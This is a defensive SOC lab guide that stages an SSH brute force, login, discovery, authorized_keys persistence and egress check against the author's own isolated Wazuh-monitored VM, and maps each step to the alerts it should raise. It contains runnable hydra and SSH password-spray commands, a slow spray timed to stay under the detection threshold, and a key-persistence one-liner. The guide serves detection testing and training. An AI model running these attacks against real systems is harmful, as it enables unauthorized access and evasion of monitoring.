SOC L1 LAB · INC-001

Attack Setup Guide — INC-001

Staging the incident phase by phase, inside an isolated lab

INCIDENT	INC-001 — SSH brute force to persistence
REPORT DATE	2026-10-31
CLASSIFICATION	Lab exercise — sanitized for publication
ENVIRONMENT	Wazuh 4.14.7 · Debian 12 · QEMU/KVM
SEVERITY	High

Independent portfolio lab. No production systems, client data, or real credentials.

Contents

1. Authorization and safety
2. Topology and assumptions
3. Target preparation
4. Attacker tooling
5. Background noise
6. Phase 0 — Baseline
7. Phase 1 — Brute force
8. Phase 2 — Successful login
9. Phase 3 — Discovery
10. Phase 4 — Persistence
11. Phase 5 — Egress check
12. Phase 6 — Stop and settle
13. Expected detections
14. Capture the evidence
15. Reset
16. Variations
17. Why this is realistic
18. Legal and ethical notes

A step-by-step script for reproducing the attack **inside the lab**. This document is for a defensive portfolio and for testing detections. It is not a guide to attacking systems you do not own.

---

1. Authorization and safety

Read this before running anything.

Rule	Detail
Scope	Only the `soc-victim` VM on the QEMU host-only/user network (`10.0.2.0/24`).
Never	Scan, connect to, or authenticate against any address outside that range.
Never	Use real credentials, real key material, or employer systems.
Authorization	You own the host and the VM. If you did not create the environment, stop.
Reversibility	Snapshot before the run; revert after evidence capture.
Data	No production data, no personal data, no real malware.
Publishing	Keep the source address, account names, and passwords clearly labelled as lab artefacts.

The lab is deliberately isolated. There is no route from the VM to your LAN.

---

2. Topology and assumptions

```
Host 10.0.2.2
  ├── Wazuh manager / indexer / dashboard (Docker)
  ├── hydra, ssh client, curl
  └── QEMU user network
        └── soc-victim 10.0.2.15
              sshd :22  ← forwarded from 127.0.0.1:2222
              nginx :80 ← forwarded from 127.0.0.1:8080
              wazuh-agent, auditd, FIM
```

Assumptions:

- The VM from `02-reproduction-guide.md` is running and the agent is `Active` .
- The snapshot `clean-baseline` exists.
- You can SSH as `analyst` with `lab/vm/keys/id_ed25519` .
- `hydra` is installed on the host.
- The Wazuh dashboard is reachable at `https://localhost` .

Set shell variables:

```
export LAB="$HOME/Documents/Eterna/soc-l1-lab"
export VMKEY="$LAB/lab/vm/keys/id_ed25519"
export VM="analyst@127.0.0.1"
export VMPORT=2222
```

---

3. Target preparation

3.1 Revert to a clean state

```
cd "$LAB/lab/vm"
./snapshot.sh load clean-baseline
sleep 10
ssh -i "$VMKEY" -p "$VMPORT" -o StrictHostKeyChecking=no "$VM" \
  'systemctl is-active wazuh-agent ssh'
```

Expected: `active` for both.

3.2 Create the service account

The account is deliberately misconfigured: interactive shell, password, no lockout.

```
ssh -i "$VMKEY" -p "$VMPORT" -o StrictHostKeyChecking=no "$VM" '
sudo useradd -m -s /bin/bash svc-backup
echo "svc-backup:Summer2026!" | sudo chpasswd
getent passwd svc-backup
'
```

Expected:

```
svc-backup:x:1002:1002::/home/svc-backup:/bin/bash
```

3.3 Enable password authentication

This is the part that trips people up on Debian cloud images. The main `sshd_config` contains:

```
Include /etc/ssh/sshd_config.d/*.conf     # line 12
PasswordAuthentication no                 # line 57
```

and the cloud image ships:

```
/etc/ssh/sshd_config.d/50-cloud-init.conf: PasswordAuthentication no
```

OpenSSH uses the **first** value it reads. A drop-in named `50-lab-password.conf` loses to `50-cloud-init.conf` because of alphabetical order. Use `00-`:

```
ssh -i "$VMKEY" -p "$VMPORT" -o StrictHostKeyChecking=no "$VM" '
sudo rm -f /etc/ssh/sshd_config.d/50-lab-password.conf
printf "PasswordAuthentication yes\n" | \
  sudo tee /etc/ssh/sshd_config.d/00-lab-password.conf
sudo systemctl restart ssh
sudo sshd -T | grep -i "^passwordauthentication"
'
```

Expected:

```
passwordauthentication yes
```

3.4 Prove the credential works before attacking

```
cat > /tmp/askpass.sh <<'EOF'
#!/bin/sh
echo "$SSH_PASS"
EOF
chmod +x /tmp/askpass.sh

SSH_PASS='Summer2026!' SSH_ASKPASS=/tmp/askpass.sh SSH_ASKPASS_REQUIRE=force \
  setsid -w ssh -o PreferredAuthentications=password \
  -o PubkeyAuthentication=no -o StrictHostKeyChecking=no \
  -o UserKnownHostsFile=/dev/null -p "$VMPORT" svc-backup@127.0.0.1 \
  'id; hostname'
```

Expected: `uid=1002(svc-backup)` and `soc-victim`.

If this fails, fix it here. Do not debug the attack and the target at the same time.

---

4. Attacker tooling

4.1 Password list

Twenty entries, correct password last. The list is intentionally weak; it represents a low-effort spray, not a serious cracking rig.

```
cat > /tmp/pw.txt <<'EOF'
password
123456
Summer2025!
Summer2026
Welcome1
P@ssw0rd
admin123
letmein
```

```
qwerty123
svc-backup
Backup2025!
Backup2026!
Company2026!
ChangeMe123
P@ssw0rd2026!
Lab12345
Winter2026!
spring2026
Password1!
Summer2026!
EOF
```

4.2 Hydra

```
hydra -I -l svc-backup -P /tmp/pw.txt -s 2222 -t 2 -V 127.0.0.1 ssh
```

Flag	Purpose
`-I`	Ignore a previous restore file
`-l`	Single login name
`-P`	Password list
`-s`	Target port (the host forward)
`-t 2`	Two parallel tasks; enough to be fast, low enough to read the output
`-V`	Show each attempt

Expected final line:

```
[2222][ssh] host: 127.0.0.1   login: svc-backup   password: Summer2026!
```

---

5. Background noise

The attack is uninteresting without legitimate activity. This loop creates routine analyst logins, `sudo` calls, and web requests every 30 seconds.

```
cat > /tmp/noise.sh <<EOF
#!/usr/bin/env bash
KEY=$VMKEY
END=\$1
while [ "\$(date +%s)" -lt "\$END" ]; do
  ssh -i "\$KEY" -p $VMPORT -o StrictHostKeyChecking=no \
      -o UserKnownHostsFile=/dev/null -o BatchMode=yes "$VM" \
```

```
      'uptime -p; systemctl is-active nginx' >/dev/null 2>&1
  curl -s -A 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/152' \
      http://127.0.0.1:8080/ -o /dev/null
  ssh -i "\$KEY" -p $VMPORT -o StrictHostKeyChecking=no \
      -o UserKnownHostsFile=/dev/null -o BatchMode=yes "$VM" \
      'sudo -n systemctl is-active nginx' >/dev/null 2>&1
  sleep 30
done
EOF
chmod +x /tmp/noise.sh
```

What this produces:

- 5715 successes for `analyst` (key auth);
- 5501/5502 PAM session events;
- 5402/5407 sudo events;
- 80792 audit command events;
- nginx access logs.

It is also what makes 40112 produce false positives: all of it arrives from `10.0.2.2`.

Start it for 5 minutes:

```
END=$(( $(date +%s) + 300 ))
setsid /tmp/noise.sh "$END" >/dev/null 2>&1 &
```

---

6. Phase 0 — Baseline

Let the noise run for 45 seconds, then create a legitimate session for the same account. This gives the account a normal login before the attack, which makes the later failure burst stand out.

```
sleep 45
date -u +%FT%TZ
SSH_PASS='Summer2026!' SSH_ASKPASS=/tmp/askpass.sh SSH_ASKPASS_REQUIRE=force \
  setsid -w ssh -o PreferredAuthentications=password \
  -o PubkeyAuthentication=no -o StrictHostKeyChecking=no \
  -o UserKnownHostsFile=/dev/null -p "$VMPORT" svc-backup@127.0.0.1 \
  'ls -la ~'
```

Record the start time:

```
date -u +%FT%TZ > /tmp/attack_start
```

---

7. Phase 1 — Brute force

```
hydra -I -l svc-backup -P /tmp/pw.txt -s 2222 -t 2 -V 127.0.0.1 ssh \
  | tee /tmp/hydra.log
date -u +%FT%TZ > /tmp/success
```

Expected duration: 30–40 seconds for 20 attempts with two workers.

What the endpoint sees:

- one `Failed password` per attempt (rule 5760);
- 5763 after the eighth failure within 120 seconds;
- two or three in-flight attempts continuing after the successful one.

---

8. Phase 2 — Successful login

Use the credential found by hydra. This session is the "attacker shell".

```
SSH_PASS='Summer2026!' SSH_ASKPASS=/tmp/askpass.sh SSH_ASKPASS_REQUIRE=force \
  setsid -w ssh -o PreferredAuthentications=password \
  -o PubkeyAuthentication=no -o StrictHostKeyChecking=no \
  -o UserKnownHostsFile=/dev/null -p "$VMPORT" svc-backup@127.0.0.1 \
  'id; whoami; uname -a'
```

Expected: the account is unprivileged (`uid=1002`), the host is `soc-victim` .

---

9. Phase 3 — Discovery

Keep it benign and observable. These commands exist to create process telemetry, not to collect data.

```
SSH_PASS='Summer2026!' SSH_ASKPASS=/tmp/askpass.sh SSH_ASKPASS_REQUIRE=force \
  setsid -w ssh -o PreferredAuthentications=password \
  -o PubkeyAuthentication=no -o StrictHostKeyChecking=no \
  -o UserKnownHostsFile=/dev/null -p "$VMPORT" svc-backup@127.0.0.1 \
  'head -1 /etc/passwd; sudo -n -l 2>&1 | head -2'
```

Expected: `sudo: a password is required` . This is important evidence: escalation was attempted and failed.

---

10. Phase 4 — Persistence

Append a fake public key. Use a clearly labelled test key, never a real one.

```
SSH_PASS='Summer2026!' SSH_ASKPASS=/tmp/askpass.sh SSH_ASKPASS_REQUIRE=force \
  setsid -w ssh -o PreferredAuthentications=password \
  -o PubkeyAuthentication=no -o StrictHostKeyChecking=no \
  -o UserKnownHostsFile=/dev/null -p "$VMPORT" svc-backup@127.0.0.1 \
  'mkdir -p ~/.ssh; \
   echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILabOnlyPersistenceKey lab-persistence" \
   >> ~/.ssh/authorized_keys; \
   ls -l ~/.ssh/authorized_keys'
```

Expected: the file appears under `/home/svc-backup/.ssh/authorized_keys`, and rule **100120** fires within a second.

If you want the cron variant, install `cron` first. The Debian genericcloud image does not ship `crontab`, so the attempt fails with `command not found`:

```
sudo apt-get install -y cron    # inside the VM, if you want this variation
```

---

11. Phase 5 — Egress check

A single outbound request is enough to create a network event without exfiltrating anything.

```
SSH_PASS='Summer2026!' SSH_ASKPASS=/tmp/askpass.sh SSH_ASKPASS_REQUIRE=force \
  setsid -w ssh -o PreferredAuthentications=password \
  -o PubkeyAuthentication=no -o StrictHostKeyChecking=no \
  -o UserKnownHostsFile=/dev/null -p "$VMPORT" svc-backup@127.0.0.1 \
  'curl -s -o /dev/null -w "outbound_http=%{http_code}\n" http://10.0.2.2:8080/'
```

Expected: `outbound_http=200`. The request goes to the lab's nginx, not the internet.

---

12. Phase 6 — Stop and settle

```
date -u +%FT%TZ > /tmp/attack_end
# stop the noise generator if it is still running
pkill -f '/tmp/noise.sh' 2>/dev/null || true
sleep 60
```

The one-minute wait lets the manager index the last events and lets FIM batch settle.

---

13. Expected detections

Phase	Alert	Expected value
Baseline login	5715	`svc-backup`, success
Each failed guess	5760	20 alerts
Eighth failure	**5763**	brute force, level 10
Successful guess	**40112**	success after failures, `svc-backup`
Key append	**100120**	FIM add, path + SHA-256
Discovery	80792	`id`, `whoami`, `uname`, `head`, `sudo`
Egress	80792 / nginx log	`curl`, HTTP 200
Noise	5715 / 5402 / 80792	analyst, `sudo`, web

Expected false positives: 40112 on analyst logins in the same window. Count them. They are the point of the exercise.

---

14. Capture the evidence

```
docker exec single-node-wazuh.manager-1 \
  cat /var/ossec/logs/alerts/alerts.json > /tmp/alerts_all.json

python3 - <<'PY'
import json, datetime
start=datetime.datetime.fromisoformat("2026-10-30T15:21:00+00:00")
end=datetime.datetime.fromisoformat("2026-10-30T15:23:30+00:00")
rows=[]
for line in open('/tmp/alerts_all.json'):
    try: a=json.loads(line)
    except: continue
    if a.get('agent',{}).get('name')=='soc-victim' and \
       start <= datetime.datetime.fromisoformat(a['timestamp']) <= end:
        rows.append(a)
json.dump(rows, open('docs/evidence/INC-001-alerts.json','w'), indent=1)
print(len(rows), "alerts")
PY
```

Use the extraction steps in `02-reproduction-guide.md` §7 for the auth and audit files.

---

15. Reset

```
cd "$LAB/lab/vm"
./snapshot.sh load clean-baseline

# if you are not using the snapshot:
ssh -i "$VMKEY" -p "$VMPORT" analyst@127.0.0.1 '
sudo rm -f /home/svc-backup/.ssh/authorized_keys
sudo userdel -r svc-backup 2>/dev/null || true
sudo rm -f /etc/ssh/sshd_config.d/00-lab-password.conf
sudo systemctl restart ssh'
```

Reverting the snapshot is cleaner: it restores the account, the sshd policy, and the agent state in one step.

---

16. Variations

16.1 Invalid-user brute force

Target a non-existent account. sshd produces rule **5710** instead of 5760, and stock rule **5712** (8 invalid users / 120 s) becomes the brute-force anchor.

```
hydra -I -l doesnotexist -P /tmp/pw.txt -s 2222 -t 2 127.0.0.1 ssh
```

This is easier to detect and less realistic for a targeted attack, but useful for testing 5712 and the older correlation path.

16.2 Slow spray below the threshold

Send one password every 20 seconds. Stock 5763 (8/120 s) will not fire. This is the gap a real attacker exploits and the reason to add a longer-window rule or a per-account baseline.

```
while read -r p; do
  SSH_PASS="$p" SSH_ASKPASS=/tmp/askpass.sh SSH_ASKPASS_REQUIRE=force \
    setsid -w ssh -o PreferredAuthentications=password \
    -o PubkeyAuthentication=no -o ConnectTimeout=3 \
    -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \
    -p 2222 svc-backup@127.0.0.1 true 2>/dev/null
  sleep 20
done < /tmp/pw.txt
```

16.3 Web shell

Use the nginx target instead of SSH: drop a PHP file under `/var/www/html`, request it, and correlate FIM, nginx access logs, and Suricata web rules. This exercises detection 100120's sibling problem on the web layer and is covered by the scenario plan.

17. Why this is realistic

- **A baseline login by the same account.** The attack is not the account's only appearance.
- **Noise.** 400 alerts in 150 seconds, including 292 audit events.
- **In-flight attempts after success.** Parallel tools do not stop instantly.
- **A failed escalation.** Not every intrusion gets root; the report should say so.
- **Persistence.** The key is the part that survives the obvious response.
- **A false-positive rate.** Four 40112s on legitimate logins force a judgement call.

18. Legal and ethical notes

- Run this only against the VM you created.
- The password and key are fake. Do not reuse them anywhere.
- Do not point hydra at a public address, a shared service, or an employer's estate.
- Do not publish real key material, internal hostnames, or client data in the write-up.
- If you adapt this for a real environment, get written authorization and a scope document first. The VDP or engagement letter is the only thing that separates a test from an offence.